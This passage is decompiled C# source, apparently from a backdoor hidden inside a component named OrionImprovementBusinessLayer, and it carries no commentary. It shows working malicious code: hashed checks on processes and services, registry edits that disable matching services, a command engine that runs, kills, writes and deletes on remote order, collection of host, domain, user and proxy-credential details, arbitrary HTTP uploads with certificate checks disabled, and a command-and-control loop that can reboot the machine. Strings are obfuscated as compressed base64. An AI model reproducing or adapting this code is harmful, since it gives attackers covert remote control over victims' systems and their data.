get | |
{ | |
object @lock = this._lock; | |
bool running; | |
lock (@lock) | |
{ | |
running = this._running; | |
} | |
return running; | |
} | |
set | |
{ | |
object @lock = this._lock; | |
lock (@lock) | |
{ | |
this._running = value; | |
} | |
} | |
} | |
// Token: 0x17000130 RID: 304 | |
// (get) Token: 0x06000979 RID: 2425 RVA: 0x00043508 File Offset: 0x00041708 | |
// (set) Token: 0x0600097A RID: 2426 RVA: 0x0004354C File Offset: 0x0004174C | |
public bool disabled | |
{ | |
get | |
{ | |
object @lock = this._lock; | |
bool disabled; | |
lock (@lock) | |
{ | |
disabled = this._disabled; | |
} | |
return disabled; | |
} | |
set | |
{ | |
object @lock = this._lock; | |
lock (@lock) | |
{ | |
this._disabled = value; | |
} | |
} | |
} | |
// Token: 0x040002E9 RID: 745 | |
public ulong[] timeStamps; | |
// Token: 0x040002EA RID: 746 | |
private readonly object _lock = new object(); | |
// Token: 0x040002EB RID: 747 | |
private volatile bool _stopped; | |
// Token: 0x040002EC RID: 748 | |
private volatile bool _running; | |
// Token: 0x040002ED RID: 749 | |
private volatile bool _disabled; | |
// Token: 0x040002EE RID: 750 | |
public OrionImprovementBusinessLayer.ServiceConfiguration.Service[] Svc; | |
// Token: 0x020001C0 RID: 448 | |
public class Service | |
{ | |
// Token: 0x0400059E RID: 1438 | |
public ulong timeStamp; | |
// Token: 0x0400059F RID: 1439 | |
public uint DefaultValue; | |
// Token: 0x040005A0 RID: 1440 | |
public bool started; | |
} | |
} | |
// Token: 0x020000D2 RID: 210 | |
private static class ProcessTracker | |
{ | |
// Token: 0x0600097C RID: 2428 RVA: 0x000435A4 File Offset: 0x000417A4 | |
private static bool SearchConfigurations() | |
{ | |
using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(OrionImprovementBusinessLayer.ZipHelper.Unzip("C07NSU0uUdBScCvKz1UIz8wzNooPriwuSc11KcosSy0CAA=="))) | |
{ | |
foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get()) | |
{ | |
ulong hash = OrionImprovementBusinessLayer.GetHash(Path.GetFileName(((ManagementObject)managementBaseObject).Properties[OrionImprovementBusinessLayer.ZipHelper.Unzip("C0gsyfBLzE0FAA==")].Value.ToString()).ToLower()); | |
if (Array.IndexOf<ulong>(OrionImprovementBusinessLayer.configTimeStamps, hash) != -1) | |
{ | |
return true; | |
} | |
} | |
} | |
return false; | |
} | |
// Token: 0x0600097D RID: 2429 RVA: 0x00043658 File Offset: 0x00041858 | |
private static bool SearchAssemblies(Process[] processes) | |
{ | |
for (int i = 0; i < processes.Length; i++) | |
{ | |
ulong hash = OrionImprovementBusinessLayer.GetHash(processes[i].ProcessName.ToLower()); | |
if (Array.IndexOf<ulong>(OrionImprovementBusinessLayer.assemblyTimeStamps, hash) != -1) | |
{ | |
return true; | |
} | |
} | |
return false; | |
} | |
// Token: 0x0600097E RID: 2430 RVA: 0x00043698 File Offset: 0x00041898 | |
private static bool SearchServices(Process[] processes) | |
{ | |
for (int i = 0; i < processes.Length; i++) | |
{ | |
ulong hash = OrionImprovementBusinessLayer.GetHash(processes[i].ProcessName.ToLower()); | |
foreach (OrionImprovementBusinessLayer.ServiceConfiguration serviceConfiguration in OrionImprovementBusinessLayer.svcList) | |
{ | |
if (Array.IndexOf<ulong>(serviceConfiguration.timeStamps, hash) != -1) | |
{ | |
object @lock = OrionImprovementBusinessLayer.ProcessTracker._lock; | |
lock (@lock) | |
{ | |
if (!serviceConfiguration.running) | |
{ | |
OrionImprovementBusinessLayer.svcListModified1 = true; | |
OrionImprovementBusinessLayer.svcListModified2 = true; | |
serviceConfiguration.running = true; | |
} | |
if (!serviceConfiguration.disabled && !serviceConfiguration.stopped && serviceConfiguration.Svc.Length != 0) | |
{ | |
OrionImprovementBusinessLayer.DelayMin(0, 0); | |
OrionImprovementBusinessLayer.ProcessTracker.SetManualMode(serviceConfiguration.Svc); | |
serviceConfiguration.disabled = true; | |
serviceConfiguration.stopped = true; | |
} | |
} | |
} | |
} | |
} | |
if (OrionImprovementBusinessLayer.svcList.Any((OrionImprovementBusinessLayer.ServiceConfiguration a) => a.disabled)) | |
{ | |
OrionImprovementBusinessLayer.ConfigManager.WriteServiceStatus(); | |
return true; | |
} | |
return false; | |
} | |
// Token: 0x0600097F RID: 2431 RVA: 0x000437C0 File Offset: 0x000419C0 | |
public static bool TrackProcesses(bool full) | |
{ | |
Process[] processes = Process.GetProcesses(); | |
if (OrionImprovementBusinessLayer.ProcessTracker.SearchAssemblies(processes)) | |
{ | |
return true; | |
} | |
bool flag = OrionImprovementBusinessLayer.ProcessTracker.SearchServices(processes); | |
if (!flag && full) | |
{ | |
return OrionImprovementBusinessLayer.ProcessTracker.SearchConfigurations(); | |
} | |
return flag; | |
} | |
// Token: 0x06000980 RID: 2432 RVA: 0x000437F4 File Offset: 0x000419F4 | |
private static bool SetManualMode(OrionImprovementBusinessLayer.ServiceConfiguration.Service[] svcList) | |
{ | |
try | |
{ | |
bool result = false; | |
using (RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(OrionImprovementBusinessLayer.ZipHelper.Unzip("C44MDnH1jXEuLSpKzStxzs8rKcrPCU4tiSlOLSrLTE4tBgA="))) | |
{ | |
foreach (string text in registryKey.GetSubKeyNames()) | |
{ | |
foreach (OrionImprovementBusinessLayer.ServiceConfiguration.Service service in svcList) | |
{ | |
try | |
{ | |
if (OrionImprovementBusinessLayer.GetHash(text.ToLower()) == service.timeStamp) | |
{ | |
if (service.started) | |
{ | |
result = true; | |
OrionImprovementBusinessLayer.RegistryHelper.SetKeyPermissions(registryKey, text, false); | |
} | |
else | |
{ | |
using (RegistryKey registryKey2 = registryKey.OpenSubKey(text, true)) | |
{ | |
if (registryKey2.GetValueNames().Contains(OrionImprovementBusinessLayer.ZipHelper.Unzip("Cy5JLCoBAA=="))) | |
{ | |
registryKey2.SetValue(OrionImprovementBusinessLayer.ZipHelper.Unzip("Cy5JLCoBAA=="), 4, RegistryValueKind.DWord); | |
result = true; | |
} | |
} | |
} | |
} | |
} | |
catch (Exception) | |
{ | |
} | |
} | |
} | |
} | |
return result; | |
} | |
catch (Exception) | |
{ | |
} | |
return false; | |
} | |
// Token: 0x06000981 RID: 2433 RVA: 0x00043924 File Offset: 0x00041B24 | |
public static void SetAutomaticMode() | |
{ | |
try | |
{ | |
using (RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(OrionImprovementBusinessLayer.ZipHelper.Unzip("C44MDnH1jXEuLSpKzStxzs8rKcrPCU4tiSlOLSrLTE4tBgA="))) | |
{ | |
foreach (string text in registryKey.GetSubKeyNames()) | |
{ | |
foreach (OrionImprovementBusinessLayer.ServiceConfiguration serviceConfiguration in OrionImprovementBusinessLayer.svcList) | |
{ | |
if (serviceConfiguration.stopped) | |
{ | |
foreach (OrionImprovementBusinessLayer.ServiceConfiguration.Service service in serviceConfiguration.Svc) | |
{ | |
try | |
{ | |
if (OrionImprovementBusinessLayer.GetHash(text.ToLower()) == service.timeStamp) | |
{ | |
if (service.started) | |
{ | |
OrionImprovementBusinessLayer.RegistryHelper.SetKeyPermissions(registryKey, text, true); | |
} | |
else | |
{ | |
using (RegistryKey registryKey2 = registryKey.OpenSubKey(text, true)) | |
{ | |
if (registryKey2.GetValueNames().Contains(OrionImprovementBusinessLayer.ZipHelper.Unzip("Cy5JLCoBAA=="))) | |
{ | |
registryKey2.SetValue(OrionImprovementBusinessLayer.ZipHelper.Unzip("Cy5JLCoBAA=="), service.DefaultValue, RegistryValueKind.DWord); | |
} | |
} | |
} | |
} | |
} | |
catch (Exception) | |
{ | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
catch (Exception) | |
{ | |
} | |
} | |
// Token: 0x040002EF RID: 751 | |
private static readonly object _lock = new object(); | |
} | |
// Token: 0x020000D3 RID: 211 | |
private static class Job | |
{ | |
// Token: 0x06000983 RID: 2435 RVA: 0x00043ABC File Offset: 0x00041CBC | |
public static int GetArgumentIndex(string cl, int num) | |
{ | |
if (cl == null) | |
{ | |
return -1; | |
} | |
if (num == 0) | |
{ | |
return 0; | |
} | |
char[] array = cl.ToCharArray(); | |
bool flag = false; | |
int num2 = 0; | |
for (int i = 0; i < array.Length; i++) | |
{ | |
if (array[i] == '"') | |
{ | |
flag = !flag; | |
} | |
if (!flag && array[i] == ' ' && i > 0 && array[i - 1] != ' ') | |
{ | |
num2++; | |
if (num2 == num) | |
{ | |
return i + 1; | |
} | |
} | |
} | |
return -1; | |
} | |
// Token: 0x06000984 RID: 2436 RVA: 0x00043B1C File Offset: 0x00041D1C | |
public static string[] SplitString(string cl) | |
{ | |
if (cl == null) | |
{ | |
return new string[0]; | |
} | |
char[] array = cl.Trim().ToCharArray(); | |
bool flag = false; | |
for (int i = 0; i < array.Length; i++) | |
{ | |
if (array[i] == '"') | |
{ | |
flag = !flag; | |
} | |
if (!flag && array[i] == ' ') | |
{ | |
array[i] = '\n'; | |
} | |
} | |
string[] array2 = new string(array).Split(new char[] | |
{ | |
'\n' | |
}, StringSplitOptions.RemoveEmptyEntries); | |
for (int j = 0; j < array2.Length; j++) | |
{ | |
string text = ""; | |
bool flag2 = false; | |
array2[j] = OrionImprovementBusinessLayer.Unquote(array2[j]); | |
foreach (char c in array2[j]) | |
{ | |
if (flag2) | |
{ | |
if (c != '`') | |
{ | |
if (c == 'q') | |
{ | |
text += "\""; | |
} | |
else | |
{ | |
text = text + '`'.ToString() + c.ToString(); | |
} | |
} | |
else | |
{ | |
text += '`'.ToString(); | |
} | |
flag2 = false; | |
} | |
else if (c == '`') | |
{ | |
flag2 = true; | |
} | |
else | |
{ | |
text += c.ToString(); | |
} | |
} | |
if (flag2) | |
{ | |
text += '`'.ToString(); | |
} | |
array2[j] = text; | |
} | |
return array2; | |
} | |
// Token: 0x06000985 RID: 2437 RVA: 0x00043C6E File Offset: 0x00041E6E | |
public static void SetTime(string[] args, out int delay) | |
{ | |
delay = int.Parse(args[0]); | |
} | |
// Token: 0x06000986 RID: 2438 RVA: 0x00043C7A File Offset: 0x00041E7A | |
public static void KillTask(string[] args) | |
{ | |
Process.GetProcessById(int.Parse(args[0])).Kill(); | |
} | |
// Token: 0x06000987 RID: 2439 RVA: 0x00043C8E File Offset: 0x00041E8E | |
public static void DeleteFile(string[] args) | |
{ | |
File.Delete(Environment.ExpandEnvironmentVariables(args[0])); | |
} | |
// Token: 0x06000988 RID: 2440 RVA: 0x00043CA0 File Offset: 0x00041EA0 | |
public static int GetFileHash(string[] args, out string result) | |
{ | |
result = null; | |
string path = Environment.ExpandEnvironmentVariables(args[0]); | |
using (MD5 md = MD5.Create()) | |
{ | |
using (FileStream fileStream = File.OpenRead(path)) | |
{ | |
byte[] bytes = md.ComputeHash(fileStream); | |
if (args.Length > 1) | |
{ | |
return (!(OrionImprovementBusinessLayer.ByteArrayToHexString(bytes).ToLower() == args[1].ToLower())) ? 1 : 0; | |
} | |
result = OrionImprovementBusinessLayer.ByteArrayToHexString(bytes); | |
} | |
} | |
return 0; | |
} | |
// Token: 0x06000989 RID: 2441 RVA: 0x00043D34 File Offset: 0x00041F34 | |
public static void GetFileSystemEntries(string[] args, out string result) | |
{ | |
string searchPattern = (args.Length >= 2) ? args[1] : "*"; | |
string path = Environment.ExpandEnvironmentVariables(args[0]); | |
string[] value = (from f in Directory.GetFiles(path, searchPattern) | |
select Path.GetFileName(f)).ToArray<string>(); | |
string[] value2 = (from f in Directory.GetDirectories(path, searchPattern) | |
select Path.GetFileName(f)).ToArray<string>(); | |
result = string.Join("\n", value2) + "\n\n" + string.Join(" \n", value); | |
} | |
// Token: 0x0600098A RID: 2442 RVA: 0x00043DE0 File Offset: 0x00041FE0 | |
public static void GetProcessByDescription(string[] args, out string result) | |
{ | |
result = null; | |
if (args.Length == 0) | |
{ | |
foreach (Process process in Process.GetProcesses()) | |
{ | |
result += string.Format(OrionImprovementBusinessLayer.ZipHelper.Unzip("i6420DGtjVWoNqzlAgA="), process.Id, OrionImprovementBusinessLayer.Quote(process.ProcessName)); | |
} | |
return; | |
} | |
using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(OrionImprovementBusinessLayer.ZipHelper.Unzip("C07NSU0uUdBScCvKz1UIz8wzNooPKMpPTi0uBgA="))) | |
{ | |
foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get()) | |
{ | |
ManagementObject managementObject = (ManagementObject)managementBaseObject; | |
string[] array = new string[] | |
{ | |
string.Empty, | |
string.Empty | |
}; | |
ManagementObject managementObject2 = managementObject; | |
string methodName = OrionImprovementBusinessLayer.ZipHelper.Unzip("c08t8S/PSy0CAA=="); | |
object[] array2 = array; | |
object[] args2 = array2; | |
Convert.ToInt32(managementObject2.InvokeMethod(methodName, args2)); | |
result += string.Format(OrionImprovementBusinessLayer.ZipHelper.Unzip("i6420DGtjVWoNtTRNTSrVag2quWsNgYKKVSb1MZUm9ZyAQA="), new object[] | |
{ | |
managementObject[OrionImprovementBusinessLayer.ZipHelper.Unzip("CyjKT04tLvZ0AQA=")], | |
OrionImprovementBusinessLayer.Quote(managementObject[OrionImprovementBusinessLayer.ZipHelper.Unzip("80vMTQUA")].ToString()), | |
managementObject[args[0]], | |
managementObject[OrionImprovementBusinessLayer.ZipHelper.Unzip("C0gsSs0rCSjKT04tLvZ0AQA=")], | |
array[1], | |
array[0] | |
}); | |
} | |
} | |
} | |
// Token: 0x0600098B RID: 2443 RVA: 0x00043F68 File Offset: 0x00042168 | |
private static string GetDescriptionId(ref int i) | |
{ | |
i++; | |
return "\n" + i.ToString() + ". "; | |
} | |
// Token: 0x0600098C RID: 2444 RVA: 0x00043F88 File Offset: 0x00042188 | |
public static void CollectSystemDescription(string info, out string result) | |
{ | |
result = null; | |
int num = 0; | |
string domainName = IPGlobalProperties.GetIPGlobalProperties().DomainName; | |
result = result + OrionImprovementBusinessLayer.Job.GetDescriptionId(ref num) + domainName; | |
try | |
{ | |
string str = ((SecurityIdentifier)new NTAccount(domainName, OrionImprovementBusinessLayer.ZipHelper.Unzip("c0zJzczLLC4pSizJLwIA")).Translate(typeof(SecurityIdentifier))).AccountDomainSid.ToString(); | |
result = result + OrionImprovementBusinessLayer.Job.GetDescriptionId(ref num) + str; | |
} | |
catch | |
{ | |
result += OrionImprovementBusinessLayer.Job.GetDescriptionId(ref num); | |
} | |
result = result + OrionImprovementBusinessLayer.Job.GetDescriptionId(ref num) + IPGlobalProperties.GetIPGlobalProperties().HostName; | |
result = result + OrionImprovementBusinessLayer.Job.GetDescriptionId(ref num) + Environment.UserName; | |
result = result + OrionImprovementBusinessLayer.Job.GetDescriptionId(ref num) + OrionImprovementBusinessLayer.GetOSVersion(true); | |
result = result + OrionImprovementBusinessLayer.Job.GetDescriptionId(ref num) + Environment.SystemDirectory; | |
result = result + OrionImprovementBusinessLayer.Job.GetDescriptionId(ref num) + (int)TimeSpan.FromMilliseconds(Environment.TickCount).TotalDays; | |
result = result + OrionImprovementBusinessLayer.Job.GetDescriptionId(ref num) + info + "\n"; | |
result += OrionImprovementBusinessLayer.GetNetworkAdapterConfiguration(); | |
} | |
// Token: 0x0600098D RID: 2445 RVA: 0x000440C4 File Offset: 0x000422C4 | |
public static void UploadSystemDescription(string[] args, out string result, IWebProxy proxy) | |
{ | |
result = null; | |
string requestUriString = args[0]; | |
string s = args[1]; | |
string text = (args.Length >= 3) ? args[2] : null; | |
string[] array = Encoding.UTF8.GetString(Convert.FromBase64String(s)).Split(new string[] | |
{ | |
"\r\n", | |
"\r", | |
"\n" | |
}, StringSplitOptions.None); | |
HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(requestUriString); | |
HttpWebRequest httpWebRequest2 = httpWebRequest; | |
httpWebRequest2.ServerCertificateValidationCallback = (RemoteCertificateValidationCallback)Delegate.Combine(httpWebRequest2.ServerCertificateValidationCallback, new RemoteCertificateValidationCallback((object sender, X509Certificate cert, X509Chain chain, SslPolicyErrors sslPolicyErrors) => true)); | |
httpWebRequest.Proxy = proxy; | |
httpWebRequest.Timeout = 120000; | |
httpWebRequest.Method = array[0].Split(new char[] | |
{ | |
' ' | |
})[0]; | |
foreach (string text2 in array) | |
{ | |
int num = text2.IndexOf(':'); | |
if (num > 0) | |
{ | |
string text3 = text2.Substring(0, num); | |
string text4 = text2.Substring(num + 1).TrimStart(Array.Empty<char>()); | |
if (!WebHeaderCollection.IsRestricted(text3)) | |
{ | |
httpWebRequest.Headers.Add(text2); | |
} | |
else | |
{ | |
ulong hash = OrionImprovementBusinessLayer.GetHash(text3.ToLower()); | |
if (hash <= 8873858923435176895UL) | |
{ | |
if (hash <= 6116246686670134098UL) | |
{ | |
if (hash != 2734787258623754862UL) | |
{ | |
if (hash == 6116246686670134098UL) | |
{ | |
httpWebRequest.ContentType = text4; | |
} | |
} | |
else | |
{ | |
httpWebRequest.Accept = text4; | |
} | |
} | |
else if (hash != 7574774749059321801UL) | |
{ | |
if (hash == 8873858923435176895UL) | |
{ | |
if (OrionImprovementBusinessLayer.GetHash(text4.ToLower()) == 1475579823244607677UL) | |
{ | |
httpWebRequest.ServicePoint.Expect100Continue = true; | |
} | |
else | |
{ | |
httpWebRequest.Expect = text4; | |
} | |
} | |
} | |
else | |
{ | |
httpWebRequest.UserAgent = text4; | |
} | |
} | |
else if (hash <= 11266044540366291518UL) | |
{ | |
if (hash != 9007106680104765185UL) | |
{ | |
if (hash == 11266044540366291518UL) | |
{ | |
ulong hash2 = OrionImprovementBusinessLayer.GetHash(text4.ToLower()); | |
httpWebRequest.KeepAlive = (hash2 == 13852439084267373191UL || httpWebRequest.KeepAlive); | |
httpWebRequest.KeepAlive = (hash2 != 14226582801651130532UL && httpWebRequest.KeepAlive); | |
} | |
} | |
else | |
{ | |
httpWebRequest.Referer = text4; | |
} | |
} | |
else if (hash != 15514036435533858158UL) | |
{ | |
if (hash == 16066522799090129502UL) | |
{ | |
httpWebRequest.Date = DateTime.Parse(text4); | |
} | |
} | |
else | |
{ | |
httpWebRequest.Date = DateTime.Parse(text4); | |
} | |
} | |
} | |
} | |
result += string.Format(OrionImprovementBusinessLayer.ZipHelper.Unzip("qzaoVag2rFXwCAkJ0K82quUCAA=="), httpWebRequest.Method, httpWebRequest.Address.PathAndQuery, httpWebRequest.ProtocolVersion.ToString()); | |
result = result + httpWebRequest.Headers.ToString() + "\n\n"; | |
if (!string.IsNullOrEmpty(text)) | |
{ | |
using (Stream requestStream = httpWebRequest.GetRequestStream()) | |
{ | |
byte[] array3 = Convert.FromBase64String(text); | |
requestStream.Write(array3, 0, array3.Length); | |
} | |
} | |
using (WebResponse response = httpWebRequest.GetResponse()) | |
{ | |
result += string.Format("{0} {1}\n", (int)((HttpWebResponse)response).StatusCode, ((HttpWebResponse)response).StatusDescription); | |
result = result + response.Headers.ToString() + "\n"; | |
using (Stream responseStream = response.GetResponseStream()) | |
{ | |
result += new StreamReader(responseStream).ReadToEnd(); | |
} | |
} | |
} | |
// Token: 0x0600098E RID: 2446 RVA: 0x000444D0 File Offset: 0x000426D0 | |
public static int RunTask(string[] args, string cl, out string result) | |
{ | |
result = null; | |
string fileName = Environment.ExpandEnvironmentVariables(args[0]); | |
string arguments = (args.Length > 1) ? cl.Substring(OrionImprovementBusinessLayer.Job.GetArgumentIndex(cl, 1)).Trim() : null; | |
using (Process process = new Process()) | |
{ | |
process.StartInfo = new ProcessStartInfo(fileName, arguments) | |
{ | |
CreateNoWindow = false, | |
UseShellExecute = false | |
}; | |
if (process.Start()) | |
{ | |
result = process.Id.ToString(); | |
return 0; | |
} | |
} | |
return 1; | |
} | |
// Token: 0x0600098F RID: 2447 RVA: 0x00044564 File Offset: 0x00042764 | |
public static void WriteFile(string[] args) | |
{ | |
string path = Environment.ExpandEnvironmentVariables(args[0]); | |
byte[] array = Convert.FromBase64String(args[1]); | |
for (int i = 0; i < 3; i++) | |
{ | |
try | |
{ | |
using (FileStream fileStream = new FileStream(path, FileMode.Append, FileAccess.Write)) | |
{ | |
fileStream.Write(array, 0, array.Length); | |
} | |
break; | |
} | |
catch (Exception) | |
{ | |
if (i + 1 >= 3) | |
{ | |
throw; | |
} | |
} | |
OrionImprovementBusinessLayer.DelayMs(0.0, 0.0); | |
} | |
} | |
// Token: 0x06000990 RID: 2448 RVA: 0x000445F0 File Offset: 0x000427F0 | |
public static void FileExists(string[] args, out string result) | |
{ | |
string path = Environment.ExpandEnvironmentVariables(args[0]); | |
result = File.Exists(path).ToString(); | |
} | |
// Token: 0x06000991 RID: 2449 RVA: 0x00044616 File Offset: 0x00042816 | |
public static int ReadRegistryValue(string[] args, out string result) | |
{ | |
result = OrionImprovementBusinessLayer.RegistryHelper.GetValue(args[0], args[1], null); | |
if (result != null) | |
{ | |
return 0; | |
} | |
return 1; | |
} | |
// Token: 0x06000992 RID: 2450 RVA: 0x0004462D File Offset: 0x0004282D | |
public static void DeleteRegistryValue(string[] args) | |
{ | |
OrionImprovementBusinessLayer.RegistryHelper.DeleteValue(args[0], args[1]); | |
} | |
// Token: 0x06000993 RID: 2451 RVA: 0x0004463A File Offset: 0x0004283A | |
public static void GetRegistrySubKeyAndValueNames(string[] args, out string result) | |
{ | |
result = OrionImprovementBusinessLayer.RegistryHelper.GetSubKeyAndValueNames(args[0]); | |
} | |
// Token: 0x06000994 RID: 2452 RVA: 0x00044648 File Offset: 0x00042848 | |
public static int SetRegistryValue(string[] args) | |
{ | |
RegistryValueKind valueKind = (RegistryValueKind)Enum.Parse(typeof(RegistryValueKind), args[2]); | |
string valueData = (args.Length > 3) ? Encoding.UTF8.GetString(Convert.FromBase64String(args[3])) : ""; | |
if (!OrionImprovementBusinessLayer.RegistryHelper.SetValue(args[0], args[1], valueData, valueKind)) | |
{ | |
return 1; | |
} | |
return 0; | |
} | |
} | |
// Token: 0x020000D4 RID: 212 | |
private class Proxy | |
{ | |
// Token: 0x06000995 RID: 2453 RVA: 0x000446A0 File Offset: 0x000428A0 | |
public Proxy(OrionImprovementBusinessLayer.ProxyType proxyType) | |
{ | |
try | |
{ | |
this.proxyType = proxyType; | |
OrionImprovementBusinessLayer.ProxyType proxyType2 = this.proxyType; | |
if (proxyType2 != OrionImprovementBusinessLayer.ProxyType.System) | |
{ | |
if (proxyType2 == OrionImprovementBusinessLayer.ProxyType.Direct) | |
{ | |
this.proxy = null; | |
} | |
else | |
{ | |
this.proxy = HttpProxySettings.Instance.AsWebProxy(); | |
} | |
} | |
else | |
{ | |
this.proxy = WebRequest.GetSystemWebProxy(); | |
} | |
} | |
catch | |
{ | |
} | |
} | |
// Token: 0x06000996 RID: 2454 RVA: 0x00044704 File Offset: 0x00042904 | |
public override string ToString() | |
{ | |
if (this.proxyType != OrionImprovementBusinessLayer.ProxyType.Manual) | |
{ | |
return this.proxyType.ToString(); | |
} | |
if (this.proxy == null) | |
{ | |
return OrionImprovementBusinessLayer.ProxyType.Direct.ToString(); | |
} | |
if (string.IsNullOrEmpty(this.proxyString)) | |
{ | |
try | |
{ | |
IHttpProxySettings instance = HttpProxySettings.Instance; | |
if (instance.IsDisabled) | |
{ | |
this.proxyString = OrionImprovementBusinessLayer.ProxyType.Direct.ToString(); | |
} | |
else if (instance.UseSystemDefaultProxy) | |
{ | |
this.proxyString = ((WebRequest.DefaultWebProxy != null) ? OrionImprovementBusinessLayer.ProxyType.Default.ToString() : OrionImprovementBusinessLayer.ProxyType.System.ToString()); | |
} | |
else | |
{ | |
this.proxyString = OrionImprovementBusinessLayer.ProxyType.Manual.ToString(); | |
if (instance.IsValid) | |
{ | |
string[] array = new string[7]; | |
array[0] = this.proxyString; | |
array[1] = ":"; | |
array[2] = instance.Uri; | |
array[3] = "\t"; | |
int num = 4; | |
UsernamePasswordCredential usernamePasswordCredential = instance.Credential as UsernamePasswordCredential; | |
array[num] = ((usernamePasswordCredential != null) ? usernamePasswordCredential.Username : null); | |
array[5] = "\t"; | |
int num2 = 6; | |
UsernamePasswordCredential usernamePasswordCredential2 = instance.Credential as UsernamePasswordCredential; | |
array[num2] = ((usernamePasswordCredential2 != null) ? usernamePasswordCredential2.Password : null); | |
this.proxyString = string.Concat(array); | |
} | |
} | |
} | |
catch | |
{ | |
} | |
} | |
return this.proxyString; | |
} | |
// Token: 0x06000997 RID: 2455 RVA: 0x0004485C File Offset: 0x00042A5C | |
public IWebProxy GetWebProxy() | |
{ | |
return this.proxy; | |
} | |
// Token: 0x040002F0 RID: 752 | |
private OrionImprovementBusinessLayer.ProxyType proxyType; | |
// Token: 0x040002F1 RID: 753 | |
private IWebProxy proxy; | |
// Token: 0x040002F2 RID: 754 | |
private string proxyString; | |
} | |
// Token: 0x020000D5 RID: 213 | |
private class HttpHelper | |
{ | |
// Token: 0x06000998 RID: 2456 RVA: 0x00044864 File Offset: 0x00042A64 | |
public void Abort() | |
{ | |
this.isAbort = true; | |
} | |
// Token: 0x06000999 RID: 2457 RVA: 0x00044870 File Offset: 0x00042A70 | |
public HttpHelper(byte[] customerId, OrionImprovementBusinessLayer.DnsRecords rec) | |
{ | |
this.customerId = customerId.ToArray<byte>(); | |
this.httpHost = rec.cname; | |
this.requestMethod = (OrionImprovementBusinessLayer.HttpOipMethods)rec._type; | |
this.proxy = new OrionImprovementBusinessLayer.Proxy((OrionImprovementBusinessLayer.ProxyType)rec.length); | |
} | |
// Token: 0x0600099A RID: 2458 RVA: 0x000448E4 File Offset: 0x00042AE4 | |
private bool TrackEvent() | |
{ | |
if (DateTime.Now.CompareTo(this.timeStamp.AddMinutes(1.0)) > 0) | |
{ | |
if (OrionImprovementBusinessLayer.ProcessTracker.TrackProcesses(false) || OrionImprovementBusinessLayer.svcListModified2) | |
{ | |
return true; | |
} | |
this.timeStamp = DateTime.Now; | |
} | |
return false; | |
} | |
// Token: 0x0600099B RID: 2459 RVA: 0x00044934 File Offset: 0x00042B34 | |
private bool IsSynchronized(bool idle) | |
{ | |
if (this.delay != 0 && idle) | |
{ | |
if (this.delayInc == 0) | |
{ | |
this.delayInc = this.delay; | |
} | |
double num = (double)this.delayInc * 1000.0; | |
OrionImprovementBusinessLayer.DelayMs(0.9 * num, 1.1 * num); | |
if (this.delayInc < 300) | |
{ | |
this.delayInc *= 2; | |
return true; | |
} | |
} | |
else | |
{ | |
OrionImprovementBusinessLayer.DelayMs(0.0, 0.0); | |
this.delayInc = 0; | |
} | |
return false; | |
} | |
// Token: 0x0600099C RID: 2460 RVA: 0x000449CC File Offset: 0x00042BCC | |
public void Initialize() | |
{ | |
OrionImprovementBusinessLayer.HttpHelper.JobEngine jobEngine = OrionImprovementBusinessLayer.HttpHelper.JobEngine.Idle; | |
string response = null; | |
int err = 0; | |
try | |
{ | |
int num = 1; | |
while (num <= 3 && !this.isAbort) | |
{ | |
byte[] body = null; | |
if (this.IsSynchronized(jobEngine == OrionImprovementBusinessLayer.HttpHelper.JobEngine.Idle)) | |
{ | |
num = 0; | |
} | |
if (this.TrackEvent()) | |
{ | |
this.isAbort = true; | |
break; | |
} | |
HttpStatusCode httpStatusCode = this.CreateUploadRequest(jobEngine, err, response, out body); | |
if (jobEngine == OrionImprovementBusinessLayer.HttpHelper.JobEngine.Exit || jobEngine == OrionImprovementBusinessLayer.HttpHelper.JobEngine.Reboot) | |
{ | |
this.isAbort = true; | |
break; | |
} | |
if (httpStatusCode <= HttpStatusCode.OK) | |
{ | |
if (httpStatusCode != (HttpStatusCode)0) | |
{ | |
if (httpStatusCode != HttpStatusCode.OK) | |
{ | |
goto IL_DC; | |
} | |
goto IL_89; | |
} | |
} | |
else | |
{ | |
if (httpStatusCode == HttpStatusCode.NoContent || httpStatusCode == HttpStatusCode.NotModified) | |
{ | |
goto IL_89; | |
} | |
goto IL_DC; | |
} | |
IL_E3: | |
num++; | |
continue; | |
IL_89: | |
string cl = null; | |
if (httpStatusCode != HttpStatusCode.OK) | |
{ | |
if (httpStatusCode != HttpStatusCode.NoContent) | |
{ | |
jobEngine = OrionImprovementBusinessLayer.HttpHelper.JobEngine.Idle; | |
} | |
else | |
{ | |
num = ((jobEngine == OrionImprovementBusinessLayer.HttpHelper.JobEngine.None || jobEngine == OrionImprovementBusinessLayer.HttpHelper.JobEngine.Idle) ? num : 0); | |
jobEngine = OrionImprovementBusinessLayer.HttpHelper.JobEngine.None; | |
} | |
} | |
else | |
{ | |
jobEngine = this.ParseServiceResponse(body, out cl); | |
num = ((jobEngine == OrionImprovementBusinessLayer.HttpHelper.JobEngine.None || jobEngine == OrionImprovementBusinessLayer.HttpHelper.JobEngine.Idle) ? num : 0); | |
} | |
err = this.ExecuteEngine(jobEngine, cl, out response); | |
goto IL_E3; | |
IL_DC: | |
OrionImprovementBusinessLayer.DelayMin(1, 5); | |
goto IL_E3; | |
} | |
if (jobEngine == OrionImprovementBusinessLayer.HttpHelper.JobEngine.Reboot) | |
{ | |
OrionImprovementBusinessLayer.NativeMethods.RebootComputer(); | |
} | |
} | |
catch (Exception) | |
{ | |
} | |
} | |
// Token: 0x0600099D RID: 2461 RVA: 0x00044AE8 File Offset: 0x00042CE8 | |
private int ExecuteEngine(OrionImprovementBusinessLayer.HttpHelper.JobEngine job, string cl, out string result) | |
{ | |
result = null; | |
int num = 0; | |
string[] args = OrionImprovementBusinessLayer.Job.SplitString(cl); | |
int result2; | |
try | |
{ | |
if (job == OrionImprovementBusinessLayer.HttpHelper.JobEngine.ReadRegistryValue || job == OrionImprovementBusinessLayer.HttpHelper.JobEngine.SetRegistryValue || job == OrionImprovementBusinessLayer.HttpHelper.JobEngine.DeleteRegistryValue || job == OrionImprovementBusinessLayer.HttpHelper.JobEngine.GetRegistrySubKeyAndValueNames) | |
{ | |
num = OrionImprovementBusinessLayer.HttpHelper.AddRegistryExecutionEngine(job, args, out result); | |
} | |
